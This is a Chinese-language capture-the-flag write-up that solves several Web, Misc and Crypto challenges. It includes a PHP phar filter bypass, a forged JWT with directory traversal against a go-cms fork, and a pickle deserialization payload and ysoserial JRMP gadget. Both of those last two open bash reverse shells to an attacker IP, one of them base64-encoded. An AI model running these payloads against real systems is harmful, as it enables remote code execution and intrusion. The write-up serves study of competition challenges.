Web#

Fakewaf#

文件上传,实际过滤的是含有(`[;的PHP脚本。直接用<?加include和php://filter可以读取文件。

读/etc/passwd发现有open_basedir,并且不知道flag的位置,考虑RCE。

include可以引入phar。phar有phar-based、zip-based和tar-based三种,默认是phar-based,其头部带有肯定不可用。设置phar格式为zip格式则内容被压缩,不带有被过滤内容,成功执行任意脚本。

phpinfo后看到shell执行被disable了,open_basedir目录为/var/www。考虑用glob列该目录,发现flag位置,用file_get_contents读取即可。

phar构建脚本:

1
2
3
4
5
6
7
8
9
10
<?php
@unlink("phar.zip");
$phar = new PharData("phar.zip", null, null, Phar::ZIP); //后缀名必须为phar,生成后可以随意修改
$phar->startBuffering();
/* $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub*/
$phar->addFile("tmp1.php");
$phar->compressFiles(Phar::GZ);
//签名自动计算
$phar->stopBuffering();
?>

直接执行脚本:

1
<?= include 'phar://97053634.php/tmp1.php' ?>

phar执行脚本:

1
<?= glob('/var/www/*') ?>
1
<?= file_get_contents('/var/www/fl4g_orz') ?>

easy_nodejs#

copyArray函数没有判断传入参数arr1的类型,直接使用其length,并构建了一个只含.length的数组返回。且在遍历数组时遇到Object递归调用copyArray进行处理。

可以构造一个数组,只含有一个Object,其length值为admin。第一次比较时其值不等于’admin’。经过copyArray后该值变为[‘admin’]。

利用nodejs弱类型比较[‘admin’] == ‘admin’,通过判断,得到flag。

payload:

1
{ "usernames": [{"length": "admin"}] }

PikaGo#

一开始没有二进制文件,通过一次偶然的报错(,再根据正常的返回信息字符串,找到原项目的GitHub仓库:https://github.com/xiya-team/go-cms。

经过长时间源码审计,发现/api/user/login逻辑将redis set值操作放在密码判别前,而对于Authorization中jwt的验证直接从数据库中检查是否有token_+username作为判别,利用此处可以构造jwt进行登录。

经过测试,原代码的helpers.Empty并不能正常检测数据库操作返回的空User对象,导致token_被设置。所以构造user_name为空的jwt即可。jwt中还需要设置verificaion为user_name的md5。

jwt:

1
2
3
4
5
6
7
{
"id": 0,
"user_name": "",
"verification": "d41d8cd98f00b204e9800998ecf8427e"
}

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MCwidXNlcl9uYW1lIjoiIiwidmVyaWZpY2F0aW9uIjoiZDQxZDhjZDk4ZjAwYjIwNGU5ODAwOTk4ZWNmODQyN2UifQ.OgfDEpSp303hXg_4WaK1e2w5p7yH48qq97bb0KRqfdY

之后将附件提供的二进制文件和自行编译的二进制文件使用IDA插件 diaphora比较,发现UploadController的Image函数有差别。经过分析和测试,发现原代码的使用split分割判断后缀名被删除,转而判断是否存在.。可以利用..进行目录穿越,上传文件。

根据提示,flag在config中,并且是M “V” C,断定为模板的问题。根据beego文档,beego默认开启自动模板,默认路径为views/<小写controller名>/<小写函数名>.tpl。由于只有一个目录可写,开始爆破controller名,发现views/menucontroller可写。

回到代码,看到Index函数判断了post请求作出响应,而router中缺接受了所有请求类型。如果用get请求访问,会自动加载模板。直接访问可以看到报错。

上传带有config函数的模板,读取”ctf::flag”字符串,访问/api/menu/index得到flag。

index.tpl:

1
{{ config "String" "ctf::flag" "" }}

easy_python#

pickle+过滤,sys可以引入,__开头的方法可以调用。可以获取到system。

system获取链:

1
sys.modules['__main__'].__getattribute__('__builtins__').__import__('os').__getattribute__('system')

然后利用pickle字节码BUILD调用__setstate__的性质,将sys的__setstate__设置为system,压入参数,使用BUILD调用system从而绕过对R的限制,执行system函数,反弹shell。

这道题中使用pker构造出字节码,并在最后的0.前加入BUILD指令b。

pker伪代码:

1
2
3
4
5
6
7
8
9
sys = GLOBAL('__main__', 'sys')
__builtins__ = INST('__main__', '__getattribute__', '__builtins__')
sys.modules = {'__main__': __builtins__}
os = INST('__main__', '__import__', 'os')
sys.modules = {'__main__': os}
system = INST('__main__', '__getattribute__', 'system')
sys.__setstate__ = system
a = '/bin/bash -c "bash -i >& /dev/tcp/10.122.255.59/9123 0>&1"'
return

payload:
c__main__%0Asys%0Ap0%0A0%28S%27__builtins__%27%0Ai__main__%0A__getattribute__%0Ap1%0A0g0%0A%28%7D%28S%27modules%27%0A%28S%27__main__%27%0Ag1%0Addtb%28S%27os%27%0Ai__main__%0A__import__%0Ap3%0A0g0%0A%28%7D%28S%27modules%27%0A%28S%27__main__%27%0Ag3%0Addtb%28S%27system%27%0Ai__main__%0A__getattribute__%0Ap5%0A0g0%0A%28%7D%28S%27__setstate__%27%0Ag5%0AdtbS%27/bin/bash%20-c%20%22bash%20-i%20%3E%26%20/dev/tcp/10.122.255.59/9123%200%3E%261%22%27%0Ap7%0Ab0.

反弹shell后,/flag无法读取,运行/readflag检查/readflag.c源码,需要解答随机计算题并且有SIGALRM计时停止。

使用trap “” 14命令修改SIGALRM操作为空,程序不会计时停止。填入计算答案得到flag。

easy_java_plus#

强网杯plus,先搜强网杯wp,尝试后发现JRMPClient的RemoteObjectInvocationHandler被ban。

https://xz.aliyun.com/t/2479 中JRMPClient3未使用RemoteObjectInvocationHandler,转而使用RMIConnectionImpl_Stub,绕过黑名单。重新编译ysoserial后使用JRMPClient3,成功打通,flag在/flag。

JRMPClient3:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
package ysoserial.payloads;

import java.rmi.server.ObjID;
import java.util.Random;
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import ysoserial.payloads.util.PayloadRunner;
import javax.management.remote.rmi.RMIConnectionImpl_Stub;


@SuppressWarnings ( {
"restriction"
} )

public class JRMPClient3 extends PayloadRunner implements ObjectPayload<Object> {

public Object getObject ( final String command ) throws Exception {

String host;
int port;
int sep = command.indexOf(':');
if ( sep < 0 ) {
port = new Random().nextInt(65535);
host = command;
}
else {
host = command.substring(0, sep);
port = Integer.valueOf(command.substring(sep + 1));
}
ObjID id = new ObjID(new Random().nextInt()); // RMI registry
TCPEndpoint te = new TCPEndpoint(host, port);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
RMIConnectionImpl_Stub stub = new RMIConnectionImpl_Stub(ref);
return stub;
}

public static void main ( final String[] args ) throws Exception {
Thread.currentThread().setContextClassLoader(JRMPClient3.class.getClassLoader());
PayloadRunner.run(JRMPClient3.class, args);
}
}

JRMPListener命令:
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 9999 CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMjIuMjU1LjU5Lzc3NzggMD4mIDE=}|{base64,-d}|{bash,-i}"

其中base64为反弹shell bash命令 bash -i >& /dev/tcp/10.122.255.59/7778 0>& 1

nc监听:
ncat -lvvp 7778

exp(payload生成及上传):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# coding=utf-8

import subprocess
import requests


url = "http://10.104.255.220:8080/jdk_der"
vps = "10.122.255.59:9999"

popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'JRMPClient', vps], stdout=subprocess.PIPE)
file_body = popen.stdout.read()

rs = requests.post(url, data=file_body).text

print(rs)

Misc#

easy_adb#

Wireshark用adb模式解码后,看到adb交互记录。其中连接了一个有几十个按钮的设备,adb交互最后都是用getevent获取到的原始输入数据。

根据顺序,依次将获取到的四个一组的按键id手动提取出来,然后将按钮的字符提取出来。

写个脚本对应一下,跑出来一个字符串即为flag

solve:

1
2
3
4
keys = 'ESC 1 2 3 4 5 6 7 8 9 0 MINUS EQUAL BACKSPACE TAB Q W E R T Y U I O P LEFTBRACE RIGHTBRACE ENTER LEFTCTRL A S D F G H J K L SEMICOLON APOSTROPHE GRAVE LEFTSHIFT BACKSLASH Z X C V B N M COMMA DOT SLASH RIGHTSHIFT KPASTERISK LEFTALT SPACE CAPSLOCK F1 F2 F3 F4 F5 F6 F7 F8 F9 F10 NUMLOCK SCROLLLOCK KP7 KP8 KP9 KPMINUS KP4 KP5 KP6 KPPLUS KP1 KP2 KP3 KP0 KPDOT 102ND F11 F12 KPENTER RIGHTCTRL KPSLASH SYSRQ RIGHTALT HOME UP PAGEUP LEFT RIGHT END DOWN PAGEDOWN INSERT DELETE PAUSE LEFTMETA RIGHTMETA COMPOSE'.split(' ')
inputs = '2f 2f 23 20 13 14 20 20 30 31 2f 2f 14 26 17 12 24 20 30 22 16 31 13 17 2e 17 20 24 17 16 2f 23 12 21 13 20 14 17 20 26 17 24 30 13 1c'.split(' ')
inputs = ''.join(list(map(lambda x: keys[int(x, 16) - 1], inputs)))
print(inputs)

baby_1090#

1090Mhz 飞机无线电报告频率。用dump1090可以dump出报告数据。

原始的dump1090只支持2Mhz采样率的文件,转换采样率后数据丢失严重无法得到flag。

题目给出的文件名中提示采用率为2.4Mhz。利用apt install dump1090-mutability安装的dump1090-mutability,自带解析2.4Mhz超采样文件,根据--interactive模式输出的解析数据,找到6个航班对应的航班号。

命令: dump1090-mutability --ifile ~/tunefreq-1090MHz_samplerate-2.4MHz.raw --interactive

pow:

Crypto#

baby_mtree#

编程题,利用类似于建线段树的方法递归,树的长度向上对齐2的幂。直接上代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *
from hashlib import sha256
from random import shuffle
import math

def solve(data, l, r):
if l > len(data):
return ''
if l == r:
if l > len(data):
return ''
else:
return sha256(data[l - 1].encode('ascii')).hexdigest()
mid = int((l + r) / 2)
lres = solve(data, l, mid)
rres = solve(data, mid + 1, r)
if rres == '':
rres = lres
return sha256((lres + rres).encode('ascii')).hexdigest()

p = remote('10.104.255.202', 50001)
while True:
try:
p.recvuntil('data:')
except EOFError as e:
break
problem = eval(p.recvline())
length = 2**(int(math.log(len(problem) - 1, 2)) + 1)
print('problem:', problem, ', length:', length)
answer = solve(problem, 1, length)
print('answer:', answer)
p.recvuntil('merkle root:')
p.sendline(answer)
p.interactive()

easy_mtree#

二次原像攻击。由于merkle树在右儿子不存在时会采取左儿子的值,所以可以将右儿子全部填充为左儿子。

题目会随机1~4个bot,当有4个bot时,admin会分别向4个bot以及玩家发送250。此时有5个tx,叶子节点向上对齐后有8个虚叶子节点,右边3个叶子节点采用第5个tx的hash。第5个tx正好是给玩家发送250的tx,使用3修改txs,增加3个第5个tx,merkle root hash值不变,玩家收到4*250=1000,正好可以buy flag。

solve:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *
import json

p = remote('10.104.255.201', 50002)
p.recvuntil('Pls input your username:')
p.sendline('mkr')
p.recvuntil('>')
p.sendline('2')
txs = p.recvuntil('Merkle root:', drop=True)
txs = json.loads(txs)
if len(txs) != 5:
print('Number of players is not 4')
exit(0)
for i in range(3):
txs.append(txs[4])
p.recvuntil('>')
p.sendline('3')
p.recvuntil('txs(json data)>')
p.sendline(json.dumps(txs))
p.recvuntil('>')
p.sendline('4')
p.recvuntil('>')
p.sendline('5')
p.interactive()